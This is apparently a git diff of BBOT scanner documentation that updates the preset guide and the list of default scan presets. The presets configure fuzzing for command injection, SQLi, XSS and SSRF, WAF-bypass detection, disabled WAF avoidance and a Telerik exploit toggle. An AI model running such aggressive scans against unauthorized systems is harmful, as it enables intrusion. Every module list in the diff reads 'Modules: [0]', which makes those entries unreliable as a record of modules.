+| `output_dir` | string | Custom output directory (default: `~/.bbot`) |
+| `description` | string | Human-readable description of the preset |
+| `verbose` | bool | Enable verbose logging |
+| `debug` | bool | Enable debug logging |
+| `silent` | bool | Silence all stderr output |
+
 ## Advanced Usage
 
-BBOT Presets support advanced features like environment variable substitution and custom conditions.
+BBOT Presets support advanced features like file-based targets, custom modules, and custom conditions.
 
-### Custom Modules
+### Files as Targets
 
-If you want to use a custom BBOT `.py` module, you can either move it into `bbot/modules` where BBOT is installed, or add its parent folder to `module_dirs` like so:
+You can specify file paths in your preset's `target`, `seeds`, or `blacklist` fields. BBOT will read each file and expand its lines as individual entries:
 
-```yaml title="custom_modules.yml"
-# load extra BBOT modules from this locaation
-module_dirs:
-  - /home/user/custom_modules
-```
+```yaml title="my_preset.yml"
+target:
+  - targets.txt
+  - extra.evilcorp.com
 
-### Environment Variables
+seeds:
+  - seeds.txt
 
-You can insert environment variables into your preset like this: `${env:<variable>}`:
+blacklist:
+  - /home/user/blacklist.txt
+```
 
-```yaml title="my_nuclei.yml"
-description: Do a nuclei scan
+Relative paths (like `targets.txt`) are resolved relative to the preset file's directory first, then the current working directory. Absolute paths are used as-is.
 
-target:
-  - evilcorp.com
+You can mix file paths and literal targets in the same list. If an entry doesn't point to an existing file, it is treated as a literal target.
 
-modules:
-  - nuclei
+### Custom Modules
 
-config:
-  modules:
-    nuclei:
-      # allow the nuclei templates to be specified at runtime via an environment variable
-      tags: ${env:NUCLEI_TAGS}
-```
+If you want to use a custom BBOT `.py` module, you can either move it into `bbot/modules` where BBOT is installed, or add its parent folder to `module_dirs` like so:
 
-```bash
-NUCLEI_TAGS=apache,nginx bbot -p ./my_nuclei.yml
+```yaml title="custom_modules.yml"
+# load extra BBOT modules from this location
+module_dirs:
+  - /home/user/custom_modules
 ```
 
 ### Conditions
@@ -176,16 +210,16 @@ conditions:
 ```
 
 ```yaml title="my_preset.yml"
-description: Enable ffuf but only when the web spider isn't also enabled
+description: Enable webbrute but only when the web spider isn't also enabled
 
 modules:
-  - ffuf
+  - webbrute
 
 conditions:
   - |
     {% if config.web.spider_distance > 0 and config.web.spider_depth > 0 %}
-      {{ warn("Disabling ffuf because the web spider is enabled") }}
-      {{ preset.exclude_module("ffuf") }}
+      {{ warn("Disabling webbrute because the web spider is enabled") }}
+      {{ preset.exclude_module("webbrute") }}
     {% endif %}
 ```
 
@@ -197,3 +231,5 @@ Conditions use [Jinja](https://palletsprojects.com/p/jinja/), which means they c
 - `abort(message)` - abort the scan with an optional message
 
 If you aren't able to accomplish what you want with conditions, or if you need access to a new variable/function, please let us know on [Github](https://github.com/blacklanternsecurity/bbot/issues/new/choose).
+
+[Next Up: Events -->](./events.md){ .md-button .md-button--primary }
diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md
index 686e2110e7..419a99a808 100644
--- a/docs/scanning/presets_list.md
+++ b/docs/scanning/presets_list.md
@@ -1,29 +1,61 @@
 Below is a list of every default BBOT preset, including its YAML.
 
 <!-- BBOT PRESET YAML -->
-## **baddns-intense**
+## **baddns**
+
+Check for subdomain takeovers and other DNS issues.
+
+??? note "`baddns.yml`"
+    ```yaml title="~/.bbot/presets/baddns.yml"
+    description: Check for subdomain takeovers and other DNS issues.
+    
+    modules:
+      - baddns
+    
+    config:
+      modules:
+        baddns:
+          enabled_submodules: [CNAME, MX, TXT]
+          min_severity: LOW
+          min_confidence: MEDIUM
+    ```
+
+
+
+Modules: [0]("")
+
+## **baddns-heavy**
 
 Run all baddns modules and submodules.
 
-??? note "`baddns-intense.yml`"
-    ```yaml title="~/.bbot/presets/baddns-intense.yml"
+??? note "`baddns-heavy.yml`"
+    ```yaml title="~/.bbot/presets/baddns-heavy.yml"
     description: Run all baddns modules and submodules.
     
+    include:
+      - baddns
     
     modules:
-      - baddns
       - baddns_zone
       - baddns_direct
     
     config:
       modules:
         baddns:
-          enabled_submodules: [CNAME,references,MX,NS,TXT]
+          enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD]
+          min_severity: INFO
+          min_confidence: UNKNOWN
+        baddns_zone:
+          min_severity: INFO
+          min_confidence: UNKNOWN
+        baddns_direct:
+          min_severity: INFO
+          min_confidence: UNKNOWN
     ```
 
 
 
-Modules: [4]("`baddns_direct`, `baddns_zone`, `baddns`, `httpx`")
+Modules: [0]("")
 
 ## **cloud-enum**
 
@@ -42,7 +74,7 @@ Enumerate cloud resources such as storage buckets, etc.
 
 
 
-Modules: [54]("`anubisdb`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`")
+Modules: [0]("")
 
 ## **code-enum**
 
@@ -58,7 +90,7 @@ Enumerate Git repositories, Docker images, etc.
 
 
 
-Modules: [20]("`apkpure`, `code_repository`, `docker_pull`, `dockerhub`, `git_clone`, `git`, `gitdumper`, `github_codesearch`, `github_org`, `github_usersearch`, `github_workflows`, `gitlab_com`, `gitlab_onprem`, `google_playstore`, `httpx`, `jadx`, `postman_download`, `postman`, `social`, `trufflehog`")
+Modules: [0]("")
 
 ## **dirbust-heavy**
 
@@ -75,16 +107,17 @@ Recursive web directory brute-force (aggressive)
       - iis-shortnames
     
     modules:
-      - ffuf
+      - webbrute
       - wayback
     
     config:
       modules:
         iis_shortnames:
-          # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by ffuf_shortnames
+          # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames
           detect_only: False
-        ffuf:
-          depth: 3
+        webbrute:
+          avoid_wafs: False
+          max_depth: 3
           lines: 5000
           extensions:
             - php
@@ -109,7 +142,7 @@ Recursive web directory brute-force (aggressive)
 
 Category: web
 
-Modules: [5]("`ffuf_shortnames`, `ffuf`, `httpx`, `iis_shortnames`, `wayback`")
+Modules: [0]("")
 
 ## **dirbust-light**
 
@@ -123,18 +156,18 @@ Basic web directory brute-force (surface-level directories only)
       - iis-shortnames
     
     modules:
-      - ffuf
+      - webbrute
     
     config:
       modules:
-        ffuf:
+        webbrute:
           # wordlist size = 1000
           lines: 1000
     ```
 
 Category: web
 
-Modules: [4]("`ffuf_shortnames`, `ffuf`, `httpx`, `iis_shortnames`")
+Modules: [0]("")
 
 ## **dotnet-audit**
 
@@ -149,10 +182,10 @@ Comprehensive scan for all IIS/.NET specific modules and module settings
       - iis-shortnames
     
     modules:
-      - httpx
+      - http
       - badsecrets
-      - ffuf_shortnames
-      - ffuf
+      - webbrute_shortnames
+      - webbrute
       - telerik
       - ajaxpro
       - dotnetnuke
@@ -160,10 +193,10 @@ Comprehensive scan for all IIS/.NET specific modules and module settings
     
     config:
       modules:
-        ffuf:
+        webbrute:
           extensions: asp,aspx,ashx,asmx,ascx
-          extensions_ignore_case: True
-        ffuf_shortnames:
+          ignore_case: True
+        webbrute_shortnames:
           find_subwords: True
         telerik:
           exploit_RAU_crypto: True
@@ -172,7 +205,7 @@ Comprehensive scan for all IIS/.NET specific modules and module settings
 
 Category: web
 
-Modules: [9]("`ajaxpro`, `aspnet_bin_exposure`, `badsecrets`, `dotnetnuke`, `ffuf_shortnames`, `ffuf`, `httpx`, `iis_shortnames`, `telerik`")
+Modules: [0]("")
 
 ## **email-enum**
 
@@ -191,7 +224,7 @@ Enumerate email addresses from APIs, web crawling, etc.
 
 
 
-Modules: [8]("`dehashed`, `dnscaa`, `dnstlsrpt`, `emailformat`, `hunterio`, `pgp`, `skymem`, `sslcert`")
+Modules: [0]("")
 
 ## **fast**
 
@@ -241,7 +274,7 @@ Recursively enumerate IIS shortnames
 
 Category: web
 
-Modules: [3]("`ffuf_shortnames`, `httpx`, `iis_shortnames`")
+Modules: [0]("")
 
 ## **kitchen-sink**
 
@@ -257,62 +290,103 @@ Everything everywhere all at once
       - code-enum
       - email-enum
       - spider
-      - web-basic
+      - web
       - paramminer
       - dirbust-light
       - web-screenshots
-      - baddns-intense
+      - baddns-heavy
     
     config:
       modules:
         baddns:
           enable_references: True
+        dnsbrute:
+          recursive_mutations: true
+        dnscommonsrv:
+          recursive_mutations: true
+        webbrute:
+          avoid_wafs: False
+        wayback:
+          urls: True
+          parameters: True
+          archive: True
     ```
 
 
 
-Modules: [86]("`anubisdb`, `apkpure`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `badsecrets`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `code_repository`, `crt_db`, `crt`, `dehashed`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `docker_pull`, `dockerhub`, `emailformat`, `ffuf_shortnames`, `ffuf`, `filedownload`, `fullhunt`, `git_clone`, `git`, `gitdumper`, `github_codesearch`, `github_org`, `github_usersearch`, `github_workflows`, `gitlab_com`, `gitlab_onprem`, `google_playstore`, `gowitness`, `graphql_introspection`, `hackertarget`, `httpx`, `hunt`, `hunterio`, `iis_shortnames`, `ipneighbor`, `jadx`, `leakix`, `myssl`, `ntlm`, `oauth`, `otx`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `pgp`, `postman_download`, `postman`, `rapiddns`, `reflected_parameters`, `robots`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `skymem`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `trufflehog`, `urlscan`, `virustotal`, `wayback`")
+Modules: [0]("")
+
+## **lightfuzz**
+
+Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs.
+
+??? note "`lightfuzz.yml`"
+    ```yaml title="~/.bbot/presets/web/lightfuzz.yml"
+    description: "Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs."
+    
+    include:
+      - lightfuzz-light
+    
+    modules:
+      - badsecrets
+      - hunt
+      - reflected_parameters
+      
+    config:
+      modules:
+        lightfuzz:
+          enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf]
+          try_post_as_get: True
+    ```
+
+Category: web
+
+Modules: [0]("")
 
 ## **lightfuzz-heavy**
 
-Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs.
+Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs.
 
 ??? note "`lightfuzz-heavy.yml`"
     ```yaml title="~/.bbot/presets/web/lightfuzz-heavy.yml"
-    description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs.
+    description: "Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs."
     
     include:
-      - lightfuzz-medium
+      - lightfuzz
     
     flags:
       - web-paramminer
     
     modules:
       - robots
+      - wayback
     
     config:
       modules:
         lightfuzz:
-          enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi]
+          enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf]
           disable_post: False
           try_post_as_get: True
           try_get_as_post: True
+        wayback:
+          urls: True
+          parameters: True
     ```
 
 Category: web
 
-Modules: [10]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `portfilter`, `reflected_parameters`, `robots`")
+Modules: [0]("")
 
 ## **lightfuzz-light**
 
-Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans.
+Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead.
 
 ??? note "`lightfuzz-light.yml`"
     ```yaml title="~/.bbot/presets/web/lightfuzz-light.yml"
-    description: Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans.
+    description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead."
     
     modules:
-      - httpx
+      - http
       - lightfuzz
       - portfilter
       
@@ -328,77 +402,55 @@ Discover web parameters and lightly fuzz them for vulnerabilities, with only the
     conditions:
     - |
       {% if config.web.spider_distance == 0 %}
-        {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }}
+        {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }}
       {% endif %}
     ```
 
 Category: web
 
-Modules: [3]("`httpx`, `lightfuzz`, `portfilter`")
-
-## **lightfuzz-medium**
-
-Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs.
-
-??? note "`lightfuzz-medium.yml`"
-    ```yaml title="~/.bbot/presets/web/lightfuzz-medium.yml"
-    description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs.
-    
-    include:
-      - lightfuzz-light
-    
-    modules:
-      - badsecrets
-      - hunt
-      - reflected_parameters
-      
-    config:
-      modules:
-        lightfuzz:
-          enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi]
-          try_post_as_get: True
-    ```
-
-Category: web
-
-Modules: [6]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `portfilter`, `reflected_parameters`")
+Modules: [0]("")
 
-## **lightfuzz-superheavy**
+## **lightfuzz-max**
 
-Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually.
+Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time.
 
-??? note "`lightfuzz-superheavy.yml`"
-    ```yaml title="~/.bbot/presets/web/lightfuzz-superheavy.yml"
-    description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually.
+??? note "`lightfuzz-max.yml`"
+    ```yaml title="~/.bbot/presets/web/lightfuzz-max.yml"
+    description: "Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time."
     
     include:
       - lightfuzz-heavy
+      - paramminer-heavy
     
     config:
       url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter
       modules:
         lightfuzz:
           force_common_headers: True # Fuzz common headers like X-Forwarded-For even if they're not observed on the target
-          enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi]
+          enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf]
           avoid_wafs: False
         excavate:
           speculate_params: True # speculate potential parameters extracted from JSON/XML web responses
+        wayback:
+          urls: True
+          parameters: True
+          archive: True
     ```
 
 Category: web
 
-Modules: [10]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `portfilter`, `reflected_parameters`, `robots`")
+Modules: [0]("")
 
 ## **lightfuzz-xss**
 
-Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module.
+XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset.
 
 ??? note "`lightfuzz-xss.yml`"
     ```yaml title="~/.bbot/presets/web/lightfuzz-xss.yml"
-    description: Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module.
+    description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset."
     
     modules:
-      - httpx
+      - http
       - lightfuzz
       - paramminer_getparams
       - reflected_parameters
@@ -415,13 +467,13 @@ Discover web parameters and lightly fuzz them, limited to just GET-based xss vul
     conditions:
       - |
         {% if config.web.spider_distance == 0 %}
-          {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }}
+          {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }}
         {% endif %}
     ```
 
 Category: web
 
-Modules: [5]("`httpx`, `lightfuzz`, `paramminer_getparams`, `portfilter`, `reflected_parameters`")
+Modules: [0]("")
 
 ## **nuclei**
 
@@ -432,7 +484,7 @@ Run nuclei scans against all discovered targets
     description: Run nuclei scans against all discovered targets
     
     modules:
-      - httpx
+      - http
       - nuclei
       - portfilter
     
@@ -467,7 +519,7 @@ Run nuclei scans against all discovered targets
 
 Category: nuclei
 
-Modules: [3]("`httpx`, `nuclei`, `portfilter`")
+Modules: [0]("")
 
 ## **nuclei-budget**
 
@@ -478,7 +530,7 @@ Run nuclei scans against all discovered targets, using budget mode to look for l
     description: Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests
     
     modules:
-      - httpx
+      - http
       - nuclei
       - portfilter
     
@@ -498,18 +550,18 @@ Run nuclei scans against all discovered targets, using budget mode to look for l
 
 Category: nuclei
 
-Modules: [3]("`httpx`, `nuclei`, `portfilter`")
+Modules: [0]("")
 
-## **nuclei-intense**
+## **nuclei-heavy**
 
 Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules.
 
-??? note "`nuclei-intense.yml`"
-    ```yaml title="~/.bbot/presets/nuclei/nuclei-intense.yml"
+??? note "`nuclei-heavy.yml`"
+    ```yaml title="~/.bbot/presets/nuclei/nuclei-heavy.yml"
     description: Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules.
     
     modules:
-      - httpx
+      - http
       - nuclei
       - robots
       - urlscan
@@ -526,7 +578,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against
     conditions:
       - |
         {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %}
-          {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }}
+          {{ warn("The 'nuclei-heavy' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }}
         {% endif %}
     
     
@@ -538,7 +590,7 @@ Run nuclei scans against all discovered targets, allowing for spidering, against
 
 Category: nuclei
 
-Modules: [6]("`httpx`, `nuclei`, `portfilter`, `robots`, `urlscan`, `wayback`")
+Modules: [0]("")
 
 ## **nuclei-technology**
 
@@ -549,7 +601,7 @@ Run nuclei scans against all discovered targets, running templates which match d
     description: Run nuclei scans against all discovered targets, running templates which match discovered technologies
     
     modules:
-      - httpx
+      - http
       - nuclei
       - portfilter
     
@@ -573,7 +625,7 @@ Run nuclei scans against all discovered targets, running templates which match d
 
 Category: nuclei
 
-Modules: [3]("`httpx`, `nuclei`, `portfilter`")
+Modules: [0]("")
 
 ## **paramminer**
 
@@ -587,20 +639,47 @@ Discover new web parameters via brute-force, and analyze them with additional mo
       - web-paramminer
     
     modules:
-      - httpx
+      - http
       - reflected_parameters
       - hunt
     
     conditions:
       - |
         {% if config.web.spider_distance == 0 %}
-          {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }}
+          {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }}
         {% endif %}
     ```
 
 Category: web
 
-Modules: [6]("`httpx`, `hunt`, `paramminer_cookies`, `paramminer_getparams`, `paramminer_headers`, `reflected_parameters`")
+Modules: [0]("")
+
+## **paramminer-heavy**
+
+Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time.
+
+??? note "`paramminer-heavy.yml`"
+    ```yaml title="~/.bbot/presets/web/paramminer-heavy.yml"
+    description: "Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time."
+    
+    include:
+      - paramminer
+    
+    config:
+      modules:
+        paramminer_getparams:
+          brute_short: True
+          mutate_case: True
+          recycle_words: True
+        paramminer_headers:
+          recycle_words: True
+        paramminer_cookies:
+          recycle_words: True
+    ```
+
+Category: web
+
+Modules: [0]("")
 
 ## **spider**
 
@@ -611,7 +690,7 @@ Recursive web spider
     description: Recursive web spider
     
     modules:
-      - httpx
+      - http
     
     blacklist:
       # Prevent spider from invalidating sessions by logging out
@@ -629,14 +708,14 @@ Recursive web spider
 
 
 
-Modules: [1]("`httpx`")
+Modules: [0]("")
 
-## **spider-intense**
+## **spider-heavy**
 
 Recursive web spider with more aggressive settings
 
-??? note "`spider-intense.yml`"
-    ```yaml title="~/.bbot/presets/spider-intense.yml"
+??? note "`spider-heavy.yml`"
+    ```yaml title="~/.bbot/presets/spider-heavy.yml"
     description: Recursive web spider with more aggressive settings
     
     include:
@@ -654,7 +733,7 @@ Recursive web spider with more aggressive settings
 
 
 
-Modules: [1]("`httpx`")
+Modules: [0]("")
 
 ## **subdomain-enum**
 
@@ -688,7 +767,7 @@ Enumerate subdomains via APIs, brute-force
 
 
 
-Modules: [47]("`anubisdb`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`")
+Modules: [0]("")
 
 ## **tech-detect**
 
@@ -710,26 +789,167 @@ Detect technologies via Nuclei, and FingerprintX
 
 
 
-Modules: [3]("`fingerprintx`, `httpx`, `nuclei`")
+Modules: [0]("")
+
+## **virtualhost**
+
+Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI.
+
+??? note "`virtualhost.yml`"
+    ```yaml title="~/.bbot/presets/web/virtualhost.yml"
+    description: "Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI."
+    
+    modules:
+      - virtualhost
+    ```
+
+Category: web
+
+Modules: [0]("")
+
+## **virtualhost-heavy**
+
+Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing.
+
+??? note "`virtualhost-heavy.yml`"
+    ```yaml title="~/.bbot/presets/web/virtualhost-heavy.yml"
+    description: "Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing."
+    
+    include:
+      - virtualhost
+    
+    config:
+      modules:
+        virtualhost:
+          special_hosts: True
+          certificate_sans: True
+          wordcloud_check: True
+    ```
+
+Category: web
+
+Modules: [0]("")
+
+## **waf-bypass**
+
+WAF bypass detection with subdomain enumeration
+
+??? note "`waf-bypass.yml`"
+    ```yaml title="~/.bbot/presets/waf-bypass.yml"
+    description: WAF bypass detection with subdomain enumeration
+    
+    flags:
+      # enable subdomain enumeration to find potential bypass targets
+      - subdomain-enum
+    
+    modules:
+      # explicitly enable the waf_bypass module for detection
+      - waf_bypass
+      # ensure http is enabled for web probing
+      - http
+    
+    config:
+      # waf_bypass module configuration
+      modules:
+        waf_bypass:
+          similarity_threshold: 0.90
+          search_ip_neighbors: true
+          neighbor_cidr: 24 
+    ```
+
+
+
+Modules: [0]("")
+
+## **wayback**
+
+Discover URLs and interesting archived files via the Wayback Machine
+
+??? note "`wayback.yml`"
+    ```yaml title="~/.bbot/presets/wayback.yml"
+    description: Discover URLs and interesting archived files via the Wayback Machine
+    
+    include:
+      - subdomain-enum
+    
+    modules:
+      - wayback
+    
+    config:
+      modules:
+        wayback:
+          urls: True
+    ```
+
+
+
+Modules: [0]("")
 
-## **web-basic**
+## **wayback-heavy**
+
+Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection
+
+??? note "`wayback-heavy.yml`"
+    ```yaml title="~/.bbot/presets/wayback-heavy.yml"
+    description: Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection
+    
+    include:
+      - subdomain-enum
+    
+    modules:
+      - wayback
+      - badsecrets
+    
+    config:
+      modules:
+        wayback:
+          urls: True
+          parameters: True
+          archive: True
+    ```
+
+
+
+Modules: [0]("")
+
+## **web**
 
 Quick web scan
 
-??? note "`web-basic.yml`"
-    ```yaml title="~/.bbot/presets/web-basic.yml"
+??? note "`web.yml`"
+    ```yaml title="~/.bbot/presets/web.yml"
     description: Quick web scan
     
     include:
       - iis-shortnames
     
     flags:
-      - web-basic
+      - web
     ```
 
 
 
-Modules: [17]("`baddns`, `badsecrets`, `bucket_amazon`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `ffuf_shortnames`, `filedownload`, `git`, `graphql_introspection`, `httpx`, `iis_shortnames`, `ntlm`, `oauth`, `robots`, `securitytxt`, `sslcert`")
+Modules: [0]("")
+
+## **web-heavy**
+
+Aggressive web scan
+
+??? note "`web-heavy.yml`"
+    ```yaml title="~/.bbot/presets/web-heavy.yml"
+    description: Aggressive web scan
+    
+    include:
+      # include the web preset
+      - web
+    
+    flags:
+      - web-heavy
+    ```
+
+
+
+Modules: [0]("")
 
 ## **web-screenshots**
 
@@ -755,27 +975,7 @@ Take screenshots of webpages
 
 
 
-Modules: [3]("`gowitness`, `httpx`, `social`")
-
-## **web-thorough**
-
-Aggressive web scan
-
-??? note "`web-thorough.yml`"
-    ```yaml title="~/.bbot/presets/web-thorough.yml"
-    description: Aggressive web scan
-    
-    include:
-      # include the web-basic preset
-      - web-basic
-    
-    flags:
-      - web-thorough
-    ```
-
-
-
-Modules: [31]("`ajaxpro`, `aspnet_bin_exposure`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_digitalocean`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bypass403`, `dotnetnuke`, `ffuf_shortnames`, `filedownload`, `generic_ssrf`, `git`, `graphql_introspection`, `host_header`, `httpx`, `hunt`, `iis_shortnames`, `lightfuzz`, `ntlm`, `oauth`, `reflected_parameters`, `retirejs`, `robots`, `securitytxt`, `smuggler`, `sslcert`, `telerik`, `url_manipulation`")
+Modules: [0]("")
 <!-- END BBOT PRESET YAML -->
 
 ## Table of Default Presets
@@ -783,33 +983,40 @@ Modules: [31]("`ajaxpro`, `aspnet_bin_exposure`, `baddns`, `badsecrets`, `bucket
 Here is a the same data, but in a table:
 
 <!-- BBOT PRESETS -->
-| Preset               | Category   | Description                                                                                                                                                                                                                                                                                                                         | # Modules   | Modules                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
